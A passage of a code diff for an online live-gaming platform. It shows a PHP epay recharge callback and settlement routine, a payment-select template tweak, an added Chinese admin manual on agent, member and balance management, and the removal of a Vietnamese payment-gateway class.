*
|
||||
* 易支付回调是 GET(pay.php 跳转后用 GET 带参数回 notify_url),
|
||||
* 但也可能 POST —— 都兼容
|
||||
*/
|
||||
public function epay_recharge_callback()
|
||||
{
|
||||
$request = Request::instance();
|
||||
$data = $request->post();
|
||||
if (empty($data)) {
|
||||
$data = $request->get();
|
||||
}
|
||||
|
||||
$json = json_encode($data, JSON_UNESCAPED_UNICODE);
|
||||
addLogToFile('epay 回调原始数据:' . $json, 'epay_callback', 'epay');
|
||||
|
||||
if (!is_array($data) || empty($data['out_trade_no']) || empty($data['sign'])) {
|
||||
Log::record($data, 'epay_error_callback');
|
||||
exit('fail');
|
||||
}
|
||||
|
||||
// 记录回调日志
|
||||
$logId = Db::name('pay_callback_log')->insertGetId([
|
||||
'pay_channel' => 'EPAY_RECHARGE',
|
||||
'type' => 'recharge',
|
||||
'json' => $json,
|
||||
'create_time' => date('Y-m-d H:i:s'),
|
||||
]);
|
||||
|
||||
try {
|
||||
$epay = new \pay\Epay();
|
||||
$result = $epay->verifyNotifyCallback($data, $logId);
|
||||
|
||||
if (!$result['verified']) {
|
||||
exit('fail');
|
||||
}
|
||||
|
||||
if ($result['success']) {
|
||||
$this->epay_recharge_settle($data);
|
||||
exit('success');
|
||||
} else {
|
||||
// 非 TRADE_SUCCESS —— 返 success 让对方不再重试
|
||||
addLogToFile('epay 回调非成功状态,ack 防重试:order=' . ($data['out_trade_no'] ?? ''), 'epay_callback', 'epay');
|
||||
exit('success');
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
addLogToFile('epay 回调处理异常:' . $e->getMessage(), 'epay_callback_error', 'epay');
|
||||
exit('fail');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 易支付结算(事务保护:加锁 → 扣代理 → 加用户 → 写日志)
|
||||
* 和 alin_recharge_settle 同构,只是 pay_channel 改成 epay
|
||||
*/
|
||||
private function epay_recharge_settle($data)
|
||||
{
|
||||
$orderNo = $data['out_trade_no'];
|
||||
|
||||
Db::startTrans();
|
||||
try {
|
||||
$order = Db::name('order_record')->where('order_sn', $orderNo)->lock(true)->find();
|
||||
if (!$order || $order['status'] == 3) {
|
||||
Db::rollback();
|
||||
return;
|
||||
}
|
||||
|
||||
$user = Db::name('user')->where([
|
||||
'id' => $order['user_id'],
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 0,
|
||||
])->lock(true)->find();
|
||||
if (!$user) {
|
||||
Db::rollback();
|
||||
return;
|
||||
}
|
||||
|
||||
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
|
||||
$zdlId = $zdlIdArr[0];
|
||||
|
||||
$zdl = Db::name('user')->where([
|
||||
'id' => $zdlId,
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 1,
|
||||
])->lock(true)->find();
|
||||
|
||||
if (!$zdl || $zdl['money'] < $order['money']) {
|
||||
Db::rollback();
|
||||
addLogToFile('epay 结算失败:代理余额不足 order=' . $orderNo, 'epay_callback_error', 'epay');
|
||||
return;
|
||||
}
|
||||
|
||||
// 实际到账金额:易支付回调中的 money 字段(CNY)
|
||||
$actualMoney = isset($data['money']) ? floatval($data['money']) : $order['money'];
|
||||
|
||||
// 1. 更新订单
|
||||
Db::name('order_record')->where('id', $order['id'])->update([
|
||||
'back_money' => $actualMoney,
|
||||
'back_time' => time(),
|
||||
'status' => 3,
|
||||
'agent_parent_id' => $user['agent_parent_id'],
|
||||
'agent_parent_username' => $user['agent_parent_username'],
|
||||
'zdl_id' => $zdl['id'],
|
||||
'zdl_username' => $zdl['username'],
|
||||
'zdl_money_before' => $zdl['money'],
|
||||
'zdl_money_after' => $zdl['money'] - $order['money'],
|
||||
'money_before' => $user['money'],
|
||||
'money_after' => $user['money'] + $order['money'],
|
||||
]);
|
||||
|
||||
// 2. 订单日志
|
||||
Db::name('order_log')->insert([
|
||||
'pay_channel_id' => 8,
|
||||
'pay_channel_name' => 'epay',
|
||||
'money' => $order['money'],
|
||||
'create_time' => time(),
|
||||
'remake' => '易支付回调成功 trade_no=' . ($data['trade_no'] ?? '') . ' type=' . ($data['type'] ?? ''),
|
||||
'order_id' => $order['id'],
|
||||
]);
|
||||
|
||||
// 3. recharge 流水
|
||||
Db::name('recharge')->insert([
|
||||
'type' => 4,
|
||||
'amount' => $order['money'],
|
||||
'mode' => 1,
|
||||
'agent_or_admin' => 3,
|
||||
'controller_id' => $zdl['id'],
|
||||
'controller_username' => $zdl['username'],
|
||||
'controller_nickname' => $zdl['nickname'],
|
||||
'controller_type' => '易支付第三方充值,扣取总代理余分',
|
||||
'controller_old_money' => $zdl['money'],
|
||||
'controller_new_money' => $zdl['money'] - $order['money'],
|
||||
'user_id' => $order['user_id'],
|
||||
'user_type' => $user['agent'],
|
||||
'user_agent_level' => 0,
|
||||
'username_for' => $user['username'],
|
||||
'nickname_for' => $user['nickname'],
|
||||
'user_parent_id' => $user['agent_parent_id'],
|
||||
'create_time' => time(),
|
||||
'old_money' => $user['money'],
|
||||
'new_money' => $user['money'] + $order['money'],
|
||||
'controller_system' => 3,
|
||||
'remake' => '易支付第三方充值成功(' . ($data['type'] ?? '') . ')',
|
||||
]);
|
||||
|
||||
// 4. 扣代理
|
||||
Db::name('user')->where('id', $zdl['id'])->update([
|
||||
'money' => $zdl['money'] - $order['money'],
|
||||
'last_recharge_out' => $order['money'],
|
||||
'last_recharge_out_time' => time(),
|
||||
'recharge_out_count' => $zdl['recharge_out_count'] + 1,
|
||||
'recharge_out_total_amount' => $zdl['recharge_out_total_amount'] + $order['money'],
|
||||
]);
|
||||
|
||||
// 5. 加用户
|
||||
Db::name('user')->where('id', $order['user_id'])->update([
|
||||
'money' => $user['money'] + $order['money'],
|
||||
'last_recharge' => $order['money'],
|
||||
'last_recharge_time' => time(),
|
||||
'recharge_count' => $user['recharge_count'] + 1,
|
||||
'recharge_total_amount' => $user['recharge_total_amount'] + $order['money'],
|
||||
]);
|
||||
|
||||
Db::commit();
|
||||
addLogToFile('epay 结算成功:order=' . $orderNo . ' money=' . $order['money'], 'epay_callback', 'epay');
|
||||
} catch (\Exception $e) {
|
||||
Db::rollback();
|
||||
addLogToFile('epay 结算异常:' . $e->getMessage(), 'epay_callback_error', 'epay');
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -204,7 +204,7 @@
|
||||
<i class="icon"></i>
|
||||
<select class="select" name="pay_type" id="pay_type">
|
||||
<?php foreach($payMethod as $key=>$method): ?>
|
||||
<option value ="<?=$key?>" data-url="/order/<?=isset($pay_routes[$key])?$pay_routes[$key]:$online_order_fac?>"><?=$method?></option>
|
||||
<option value ="<?=$key?>"><?=$method?></option>
|
||||
<?php endForeach; ?>
|
||||
</select>
|
||||
</div>
|
||||
@@ -233,8 +233,7 @@
|
||||
query.price = price;
|
||||
query.username = username;
|
||||
query.pay_type = pay_type;
|
||||
// 每种支付方式对应的 online_order 路由可能不同
|
||||
url = $('#pay_type option:selected').data('url') || '/order/<?=$online_order_fac ?>';
|
||||
url = '/order/<?=$online_order_fac ?>';
|
||||
//var winRef = window.open("","_blank");
|
||||
$.ajax({
|
||||
url:url,
|
||||
|
||||
@@ -0,0 +1,543 @@
|
||||
# OG Live Gaming - Admin 总后台使用说明
|
||||
|
||||
## 目录
|
||||
|
||||
1. [系统概述](#1-系统概述)
|
||||
2. [登录与退出](#2-登录与退出)
|
||||
3. [角色权限说明](#3-角色权限说明)
|
||||
4. [功能模块详解](#4-功能模块详解)
|
||||
- [代理管理](#41-代理管理)
|
||||
- [会员管理](#42-会员管理)
|
||||
- [财务管理](#43-财务管理)
|
||||
- [游戏管理](#44-游戏管理)
|
||||
- [系统管理](#45-系统管理)
|
||||
- [数据报表](#46-数据报表)
|
||||
5. [核心业务流程](#5-核心业务流程)
|
||||
6. [常见问题](#6-常见问题)
|
||||
|
||||
---
|
||||
|
||||
## 1. 系统概述
|
||||
|
||||
Admin 总后台是 OG Live Gaming 平台的最高管理系统,用于:
|
||||
|
||||
- 管理所有总代理及其下级代理/会员
|
||||
- 进行资金上下分操作(充值/提现)
|
||||
- 查看游戏记录和数据报表
|
||||
- 配置游戏参数和系统设置
|
||||
- 审批充值提现申请
|
||||
|
||||
### 访问地址
|
||||
|
||||
```
|
||||
https://bkk.g7g7.top/
|
||||
```
|
||||
|
||||
### 技术架构
|
||||
|
||||
- 后端:ThinkPHP 5.x
|
||||
- 前端:Layui + jQuery
|
||||
- 数据库:MySQL 5.7
|
||||
|
||||
---
|
||||
|
||||
## 2. 登录与退出
|
||||
|
||||
### 2.1 登录
|
||||
|
||||
1. 访问 Admin 后台地址
|
||||
2. 输入管理员账号、密码
|
||||
3. 输入图形验证码
|
||||
4. 点击【登录】
|
||||
|
||||
### 2.2 退出
|
||||
|
||||
点击右上角的【退出】按钮安全退出系统。
|
||||
|
||||
### 2.3 修改密码
|
||||
|
||||
1. 点击右上角【个人信息】
|
||||
2. 选择【修改密码】
|
||||
3. 输入原密码和新密码
|
||||
4. 点击【确认修改】
|
||||
|
||||
---
|
||||
|
||||
## 3. 角色权限说明
|
||||
|
||||
系统支持多种管理员角色,权限各不相同:
|
||||
|
||||
| 角色 | role值 | 权限范围 |
|
||||
|------|--------|----------|
|
||||
| **超级管理员** | 0 | 所有功能,包括代理管理、会员管理、财务、游戏配置、系统设置等 |
|
||||
| **监控员** | 1 | 在线玩家查看、游戏记录查看、路单修改、公告管理、操作日志 |
|
||||
| **代理管理员** | 2 | 代理管理、上下分查询、洗码查询 |
|
||||
| **财务** | 4 | 代理管理、上下分、洗码管理、充值提现审批 |
|
||||
|
||||
---
|
||||
|
||||
## 4. 功能模块详解
|
||||
|
||||
### 4.1 代理管理
|
||||
|
||||
#### 4.1.1 代理列表
|
||||
|
||||
**路径**:代理管理 → 代理管理
|
||||
|
||||
**功能**:
|
||||
- 查看所有总代理列表(agent_parent_id = 0 的代理)
|
||||
- 搜索代理(按用户名)
|
||||
- 查看代理详情(余额、码率、占成等)
|
||||
- 点击【查看下级】可逐层查看下级代理
|
||||
|
||||
**列表字段说明**:
|
||||
|
||||
| 字段 | 说明 |
|
||||
|------|------|
|
||||
| 用户名 | 代理登录账号 |
|
||||
| 联系人 | 代理昵称 |
|
||||
| 上级代理 | 所属上级代理(总代显示"-") |
|
||||
| 投注方式 | 1=现金 2=信用 3=其他 |
|
||||
| 最近上分 | 最后一次上分金额 |
|
||||
| 商户余额 | 当前账户余额(分值) |
|
||||
| 码率(%) | 百家乐/龙虎/牛牛/三卡 洗码率 |
|
||||
| 占成(%) | 代理占股比例 |
|
||||
| 日赢上限 | 每日最大盈利限制 |
|
||||
|
||||
**操作**:
|
||||
- 【修改】- 编辑代理信息
|
||||
- 【删除】- 软删除代理(会同时删除所有下级)
|
||||
- 【查看下级】- 查看该代理的下级代理列表
|
||||
|
||||
#### 4.1.2 添加代理
|
||||
|
||||
**路径**:代理管理 → 代理管理 → 添加代理
|
||||
|
||||
**必填字段**:
|
||||
- 账号(唯一,不可重复)
|
||||
- 昵称
|
||||
- 密码(至少6位)
|
||||
- 确认密码
|
||||
|
||||
**可选配置**:
|
||||
- 手机号
|
||||
- 投注方式(现金/信用)
|
||||
- 限红设置(最低/最高下注额)
|
||||
- 洗码率(百家乐、龙虎、牛牛、三卡)
|
||||
- 占成比例
|
||||
- 返水率
|
||||
- 备注
|
||||
|
||||
**重要规则**:
|
||||
- 下级代理的洗码率不能超过上级
|
||||
- 下级代理的占成不能超过上级
|
||||
- 账号一旦创建不可修改
|
||||
|
||||
#### 4.1.3 上下分操作
|
||||
|
||||
**路径**:代理管理 → 上下分查询 → 代理上下分添加
|
||||
|
||||
**这是 Admin 后台的核心功能,用于给代理增加/扣减余额。**
|
||||
|
||||
**操作步骤**:
|
||||
1. 点击【选择账号】,从代理列表中选择目标代理
|
||||
2. 系统自动显示该代理当前余额
|
||||
3. 输入操作金额
|
||||
4. 选择操作类型:
|
||||
- **上分**:增加余额(相当于充值)
|
||||
- **下分**:扣减余额(相当于提现)
|
||||
5. 填写备注说明
|
||||
6. 点击【提交】
|
||||
|
||||
**注意事项**:
|
||||
- 下分金额不能超过当前余额
|
||||
- 所有操作都会记录在上下分记录中
|
||||
- 操作人信息会自动记录
|
||||
|
||||
#### 4.1.4 上下分查询
|
||||
|
||||
**路径**:代理管理 → 上下分查询
|
||||
|
||||
**功能**:
|
||||
- 查看所有代理的上下分记录
|
||||
- 支持按账号、时间范围筛选
|
||||
- 可导出 Excel
|
||||
|
||||
**记录字段**:
|
||||
|
||||
| 字段 | 说明 |
|
||||
|------|------|
|
||||
| 账号 | 被操作的代理账号 |
|
||||
| 操作类型 | 上分/下分 + 类型(手动/洗码/占股/抽水) |
|
||||
| 操作金额 | 本次操作金额 |
|
||||
| 操作人 | 执行操作的管理员或代理 |
|
||||
| 操作前余额 | 操作前的余额 |
|
||||
| 余额 | 操作后的余额 |
|
||||
| 创建日期 | 操作时间 |
|
||||
|
||||
#### 4.1.5 洗码查询
|
||||
|
||||
**路径**:代理管理 → 洗码查询
|
||||
|
||||
查看代理的洗码记录,包括洗码量、洗码费等。
|
||||
|
||||
#### 4.1.6 占股查询
|
||||
|
||||
**路径**:代理管理 → 占股查询
|
||||
|
||||
查看代理的占股结算记录。
|
||||
|
||||
#### 4.1.7 收益查询
|
||||
|
||||
**路径**:代理管理 → 收益查询
|
||||
|
||||
按代理层级查看收益汇总,包括:
|
||||
- 洗码收益
|
||||
- 占股收益
|
||||
- 抽水收益
|
||||
|
||||
---
|
||||
|
||||
### 4.2 会员管理
|
||||
|
||||
#### 4.2.1 会员列表
|
||||
|
||||
**路径**:会员管理 → 会员管理
|
||||
|
||||
**功能**:
|
||||
- 查看所有会员列表
|
||||
- 按用户名、上级代理、状态筛选
|
||||
- 按注册时间范围筛选
|
||||
|
||||
**列表字段**:
|
||||
|
||||
| 字段 | 说明 |
|
||||
|------|------|
|
||||
| 用户名 | 会员登录账号 |
|
||||
| 联系人 | 会员昵称 |
|
||||
| 上级代理 | 所属代理 |
|
||||
| 投注方式 | 1=现金 2=信用 3=其他 |
|
||||
| 商户余额 | 当前余额 |
|
||||
| 码率(%) | 洗码率 |
|
||||
| 总下注 | 累计下注金额 |
|
||||
| 总赢 | 累计盈亏 |
|
||||
| 码量 | 累计洗码量 |
|
||||
| 状态 | 启用/禁用 |
|
||||
|
||||
**操作**:
|
||||
- 【修改】- 编辑会员信息
|
||||
- 【删除】- 软删除会员
|
||||
- 【上下分】- 给会员充值/提现
|
||||
|
||||
#### 4.2.2 会员上下分
|
||||
|
||||
**路径**:会员管理 → 上下分查询 → 会员上下分添加
|
||||
|
||||
操作方式与代理上下分相同。
|
||||
|
||||
#### 4.2.3 在线玩家
|
||||
|
||||
**路径**:会员管理 → 在线玩家
|
||||
|
||||
实时查看当前在线的玩家列表,包括最后活动时间。
|
||||
|
||||
---
|
||||
|
||||
### 4.3 财务管理
|
||||
|
||||
#### 4.3.1 充值管理
|
||||
|
||||
**路径**:财务管理 → 充值管理
|
||||
|
||||
管理收款方式配置:
|
||||
- 银行卡收款
|
||||
- USDT 收款
|
||||
- 其他支付渠道
|
||||
|
||||
#### 4.3.2 充值记录
|
||||
|
||||
**路径**:财务管理 → 充值记录
|
||||
|
||||
查看玩家的充值申请记录,可进行审批操作:
|
||||
- 【通过】- 确认充值到账
|
||||
- 【拒绝】- 拒绝充值申请(需填写原因)
|
||||
|
||||
#### 4.3.3 提现管理
|
||||
|
||||
**路径**:财务管理 → 提现管理
|
||||
|
||||
管理提现配置和手续费设置。
|
||||
|
||||
#### 4.3.4 提现记录
|
||||
|
||||
**路径**:财务管理 → 提现记录
|
||||
|
||||
查看玩家的提现申请记录,可进行审批操作:
|
||||
- 【通过】- 确认提现完成(金额会加到总代余额)
|
||||
- 【拒绝】- 拒绝提现申请(金额退回玩家账户)
|
||||
|
||||
---
|
||||
|
||||
### 4.4 游戏管理
|
||||
|
||||
#### 4.4.1 游戏记录
|
||||
|
||||
**路径**:游戏管理 → 百家乐/龙虎/牛牛 游戏记录管理
|
||||
|
||||
查看各游戏的注单记录,包括:
|
||||
- 玩家信息
|
||||
- 下注详情
|
||||
- 开奖结果
|
||||
- 输赢金额
|
||||
|
||||
支持导出 Excel。
|
||||
|
||||
#### 4.4.2 路单修改
|
||||
|
||||
**路径**:游戏管理 → 百家乐/龙虎路单修改
|
||||
|
||||
用于修正错误的开牌结果(仅限特殊情况使用)。
|
||||
|
||||
#### 4.4.3 吧台配置
|
||||
|
||||
**路径**:配置管理 → 吧台配置
|
||||
|
||||
管理游戏桌台:
|
||||
- 添加/编辑桌台
|
||||
- 设置桌台状态
|
||||
- 配置限红
|
||||
- 关联扫描器
|
||||
|
||||
---
|
||||
|
||||
### 4.5 系统管理
|
||||
|
||||
#### 4.5.1 公告管理
|
||||
|
||||
**路径**:系统管理 → 公告管理
|
||||
|
||||
发布和管理系统公告:
|
||||
- 添加公告
|
||||
- 编辑公告内容
|
||||
- 设置公告状态
|
||||
- 删除公告
|
||||
|
||||
#### 4.5.2 管理员管理
|
||||
|
||||
**路径**:系统管理 → 扫描用户管理 / 接口用户管理
|
||||
|
||||
管理扫描器用户和 API 接口用户。
|
||||
|
||||
#### 4.5.3 操作日志
|
||||
|
||||
**路径**:系统管理 → 操作日志
|
||||
|
||||
查看管理员的操作记录:
|
||||
- 登录/退出记录
|
||||
- 上下分操作记录
|
||||
- 代理/会员管理记录
|
||||
- 配置修改记录
|
||||
|
||||
#### 4.5.4 代理操作日志
|
||||
|
||||
**路径**:系统管理 → 代理操作日志
|
||||
|
||||
查看代理端的操作记录。
|
||||
|
||||
#### 4.5.5 用户登录日志
|
||||
|
||||
**路径**:系统管理 → 用户登录日志
|
||||
|
||||
查看所有用户(代理+会员)的登录记录。
|
||||
|
||||
---
|
||||
|
||||
### 4.6 数据报表
|
||||
|
||||
#### 4.6.1 充值提现查询
|
||||
|
||||
**路径**:代理管理 → 充值提现查询
|
||||
|
||||
汇总查看充值和提现数据。
|
||||
|
||||
#### 4.6.2 收益报表
|
||||
|
||||
**路径**:代理管理 → 收益查询
|
||||
|
||||
按代理层级查看收益数据:
|
||||
- 选择代理
|
||||
- 选择时间范围
|
||||
- 查看洗码/占股/抽水收益
|
||||
|
||||
---
|
||||
|
||||
## 5. 核心业务流程
|
||||
|
||||
### 5.1 资金流向图
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ Admin 总后台 │
|
||||
│ (资金源头,无余额概念) │
|
||||
└─────────────────────┬───────────────────────────────────────┘
|
||||
│ 上分操作
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ 总代理 (agent_level=1) │
|
||||
│ 余额 (money) 增加 │
|
||||
└─────────────────────┬───────────────────────────────────────┘
|
||||
│ 给下级上分
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ 一级代理 (agent_level=2) │
|
||||
│ 余额 (money) 增加 │
|
||||
└─────────────────────┬───────────────────────────────────────┘
|
||||
│ 给下级上分
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ 二级代理 / 会员 (agent_level=3 / agent=0) │
|
||||
│ 余额 (money) 增加 │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
游戏下注/提现
|
||||
```
|
||||
|
||||
### 5.2 上分操作流程
|
||||
|
||||
```
|
||||
1. Admin 登录后台
|
||||
↓
|
||||
2. 进入"代理管理 → 上下分查询 → 代理上下分添加"
|
||||
↓
|
||||
3. 选择目标代理账号
|
||||
↓
|
||||
4. 输入上分金额
|
||||
↓
|
||||
5. 选择"上分"类型
|
||||
↓
|
||||
6. 填写备注
|
||||
↓
|
||||
7. 提交
|
||||
↓
|
||||
8. 系统自动:
|
||||
- 写入 recharge 表(上分记录)
|
||||
- 更新 user 表 money 字段
|
||||
- 记录操作日志
|
||||
```
|
||||
|
||||
### 5.3 提现审批流程
|
||||
|
||||
```
|
||||
1. 玩家在前端发起提现申请
|
||||
↓
|
||||
2. Admin 在"财务管理 → 提现记录"看到待审批记录
|
||||
↓
|
||||
3. 审核提现信息(金额、银行卡等)
|
||||
↓
|
||||
4a. 【通过】
|
||||
- 玩家余额已扣减(申请时扣)
|
||||
- 提现金额加到所属总代余额
|
||||
- 总代线下完成打款
|
||||
↓
|
||||
4b. 【拒绝】
|
||||
- 填写拒绝原因
|
||||
- 金额退回玩家账户
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 常见问题
|
||||
|
||||
### Q1: Admin 账号本身有余额吗?
|
||||
|
||||
**没有。** Admin 是管理员账号,存在 `cg_admin` 表中,没有 money 字段。Admin 的作用是"造钱"——可以凭空给总代理上分。
|
||||
|
||||
### Q2: 为什么我看不到某些菜单?
|
||||
|
||||
不同角色有不同权限。请确认你的账号角色:
|
||||
- role=0:超级管理员,可见所有菜单
|
||||
- role=1:监控员,只能看游戏相关
|
||||
- role=2:代理管理员,只能看代理相关
|
||||
- role=4:财务,可以看代理和财务相关
|
||||
|
||||
### Q3: 上分和充值有什么区别?
|
||||
|
||||
| 操作 | 发起方 | 作用 |
|
||||
|------|--------|------|
|
||||
| **上分** | Admin/代理主动操作 | 直接增加目标账户余额 |
|
||||
| **充值** | 玩家发起申请 | 需要审批后才能到账 |
|
||||
|
||||
### Q4: 删除代理会怎样?
|
||||
|
||||
- 软删除(is_delete=1),数据不会真正删除
|
||||
- 该代理的所有下级代理和会员也会被删除
|
||||
- 已删除的代理可以在"已删除代理"页面查看
|
||||
|
||||
### Q5: 如何查看某个代理的所有下级?
|
||||
|
||||
1. 在代理列表中找到目标代理
|
||||
2. 点击【查看下级】
|
||||
3. 可以逐层点击查看更深层级的代理
|
||||
|
||||
### Q6: 洗码率和占成的区别?
|
||||
|
||||
| 概念 | 说明 | 示例 |
|
||||
|------|------|------|
|
||||
| **洗码率** | 玩家下注后按比例返还的码费 | 玩家下注10000,洗码率0.5%,得50洗码费 |
|
||||
| **占成** | 代理参与盈亏分成的比例 | 占成20%,玩家输10000,代理分得2000 |
|
||||
|
||||
### Q7: 操作记录在哪里查看?
|
||||
|
||||
- Admin 操作日志:系统管理 → 操作日志
|
||||
- 代理操作日志:系统管理 → 代理操作日志
|
||||
- 上下分记录:代理管理 → 上下分查询
|
||||
|
||||
---
|
||||
|
||||
## 附录
|
||||
|
||||
### A. 数据库核心表
|
||||
|
||||
| 表名 | 说明 |
|
||||
|------|------|
|
||||
| cg_admin | 管理员账号 |
|
||||
| cg_user | 代理和会员账号 |
|
||||
| cg_recharge | 上下分记录 |
|
||||
| cg_bet | 下注记录 |
|
||||
| cg_xima | 洗码记录 |
|
||||
| cg_cs | 占股记录 |
|
||||
| cg_table | 游戏桌台 |
|
||||
| cg_boot | 靴(一副牌) |
|
||||
| cg_number_tab | 铺(一局) |
|
||||
|
||||
### B. 用户类型标识
|
||||
|
||||
| 字段 | 值 | 说明 |
|
||||
|------|-----|------|
|
||||
| agent | 1 | 代理 |
|
||||
| agent | 0 | 会员 |
|
||||
| agent_parent_id | 0 | 总代理 |
|
||||
| agent_level | 1 | 总代 |
|
||||
| agent_level | 2 | 一级代理 |
|
||||
| agent_level | 3 | 二级代理 |
|
||||
|
||||
### C. 操作类型代码
|
||||
|
||||
| type | 说明 |
|
||||
|------|------|
|
||||
| 1 | 手动上分/下分 |
|
||||
| 2 | 洗码结算 |
|
||||
| 3 | 占股结算 |
|
||||
| 4 | 代理抽水 |
|
||||
| 5 | 提现相关 |
|
||||
|
||||
| mode | 说明 |
|
||||
|------|------|
|
||||
| 1 | 上分(加钱) |
|
||||
| 2 | 下分(扣钱) |
|
||||
|
||||
---
|
||||
|
||||
*文档版本:1.0*
|
||||
*最后更新:2025年1月*
|
||||
@@ -1,388 +0,0 @@
|
||||
<?php
|
||||
namespace pay;
|
||||
|
||||
use think\Db;
|
||||
|
||||
/**
|
||||
* AlinPay 越南支付网关
|
||||
* 代收(Collection): /api/order product_id=11
|
||||
* 代付(Disbursement): /api/payment product_id=14
|
||||
* 代收查询: /api/order/status
|
||||
* 代付查询: /api/payment/status
|
||||
* 账户查询: /api/account
|
||||
*/
|
||||
class AlinPay
|
||||
{
|
||||
private $config;
|
||||
private $domain;
|
||||
|
||||
// 越南银行编码映射
|
||||
private static $bankCodes = [
|
||||
'Liobank','VietcomBank','VietinBank','MB','BIDV',
|
||||
'Techcombank','Sacombank','ACB','Agribank','VPBank',
|
||||
'TPBank','VIB','BVBank','MSB','SHB',
|
||||
'Vikki Bank','Nam A Bank','HDBank','Eximbank','SeABank',
|
||||
'LPBank','PVcomBank','PVcomBank Pay','SCB','Shinhan VN',
|
||||
'ABBank','Kienlongbank','CAKE','VietBank','Wooribank',
|
||||
'NCB','PG_Bank','BacABank','SCBVN','HSBC VN',
|
||||
'BaoViet Bank','VietABank','Saigonbank','Co-op Bank',
|
||||
'Timo by Ban Viet Bank','MBV','IVB','VCBNeo',
|
||||
'Public Bank Viet Nam','Citibank HN','Citibank HCM',
|
||||
'VBSP','VRB','Hong Leong Bank','UOB','Umee',
|
||||
'GPBank','Ubank','KBank','Deutsche Bank','VNPT Money',
|
||||
'Viettel Money','KBNN','MUFG Bank','ANZ','IBKHN',
|
||||
'IBK HCM','Sinopac','CTBC','SMBC','Mizuho Bank HN',
|
||||
'Mizuho Bank HCM','DBS HCM','Bank Of China','CIMB',
|
||||
'BNP Paribas HCM','BNP Paribas HN','MEGA ICBC',
|
||||
'BANGKOK BANK H','BPCE IOM','Taipei Fubon Binh Duong',
|
||||
'Taipei Fubon HN','Taipei Fubon HCM','OCBC HCM',
|
||||
'Home Credit','CCB','HuaNan Bank','ICBC Hà Nội',
|
||||
'SIAM-SCB','JP Morgan Chase Bank','KBHN','KBHCM',
|
||||
'Maybank','BIDC','CILC','BoCom',
|
||||
'First Commercial Bank HN','First Commercial Bank HCM',
|
||||
'Agricultural Bank of China','Keb Hana HN','Keb Hana HCM',
|
||||
'NHNN','VDB','Napas','HAFIC','TNEX by MSB',
|
||||
'Vinaconex - Viettel','MoMo','ZaloPay',
|
||||
'Mobifone Tiendidong','PAYOO','E.SUN Commercial Bank',
|
||||
'Neopay','Hpay','CFC','PTF','VFC',
|
||||
'TechcomFinance','MAFC','JIVF','VFL','TFSVN',
|
||||
'Bank of India- BOI','Busan-BNK','Cathay United',
|
||||
'Nonghyup','Quý TDCS','SVFC','Vikki',
|
||||
];
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
$this->getConfig();
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取配置信息
|
||||
*/
|
||||
private function getConfig()
|
||||
{
|
||||
$config = Db::name('pay_channel')->where('key', 'ALIN_VN')->value('value');
|
||||
$config = json_decode($config, true);
|
||||
$this->config = $config;
|
||||
|
||||
// 域名从配置读取,回退默认值(2026-05 第三方网关由 fantianchuangshi.com 迁至 hypayment.net)
|
||||
$this->domain = $config['domain'] ?? 'https://alinintermon-api.hypayment.net';
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成签名
|
||||
* 规则:参数按key排序 → key=value&连接(空值不参与) → 拼接key={secret} → MD5 32位小写
|
||||
* ext字段不参与签名
|
||||
*
|
||||
* @param array $params
|
||||
* @return string
|
||||
*/
|
||||
public function generateSign(array $params)
|
||||
{
|
||||
// 移除不参与签名的字段
|
||||
unset($params['sign']);
|
||||
unset($params['ext']);
|
||||
|
||||
// 过滤空值
|
||||
$params = array_filter($params, function ($val) {
|
||||
return $val !== '' && $val !== null;
|
||||
});
|
||||
|
||||
// 按key排序
|
||||
ksort($params);
|
||||
|
||||
// 拼接
|
||||
$parts = [];
|
||||
foreach ($params as $key => $val) {
|
||||
$parts[] = $key . '=' . $val;
|
||||
}
|
||||
$str = implode('&', $parts);
|
||||
$str .= '&key=' . $this->config['secret'];
|
||||
|
||||
return md5($str);
|
||||
}
|
||||
|
||||
/**
|
||||
* 验证回调签名(时间安全比较,防timing attack)
|
||||
*
|
||||
* @param array $params
|
||||
* @return bool
|
||||
*/
|
||||
public function verifySign(array $params)
|
||||
{
|
||||
$receivedSign = $params['sign'] ?? '';
|
||||
$calculatedSign = $this->generateSign($params);
|
||||
return hash_equals($calculatedSign, $receivedSign);
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送HTTP请求
|
||||
*
|
||||
* @param string $url
|
||||
* @param array $data
|
||||
* @return array|null
|
||||
*/
|
||||
private function request($url, $data)
|
||||
{
|
||||
$jsonData = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
|
||||
addLogToFile('请求地址:' . $url, 'alin_request', 'alin');
|
||||
addLogToFile('请求报文:' . $jsonData, 'alin_request', 'alin');
|
||||
|
||||
$header = ['Content-Type: application/json'];
|
||||
$result = httpPost($url, $jsonData, $header);
|
||||
|
||||
addLogToFile('返回结果:' . json_encode($result, JSON_UNESCAPED_UNICODE), 'alin_response', 'alin');
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 代收下单(用户充值)
|
||||
*
|
||||
* @param string $orderNo 商户订单号
|
||||
* @param string $amount 金额(元)
|
||||
* @param string $notifyUrl 回调地址
|
||||
* @param string $desc 订单描述
|
||||
* @return array|null
|
||||
*/
|
||||
public function createOrder($orderNo, $amount, $notifyUrl, $desc = '')
|
||||
{
|
||||
$params = [
|
||||
'app_id' => strval($this->config['app_id']),
|
||||
'product_id' => strval($this->config['collection_product_id']), // 代收 product_id=11
|
||||
'out_trade_no' => strval($orderNo),
|
||||
'notify_url' => strval($notifyUrl),
|
||||
'amount' => strval($amount),
|
||||
'time' => intval(time()),
|
||||
'desc' => strval($desc),
|
||||
];
|
||||
|
||||
$params['sign'] = $this->generateSign($params);
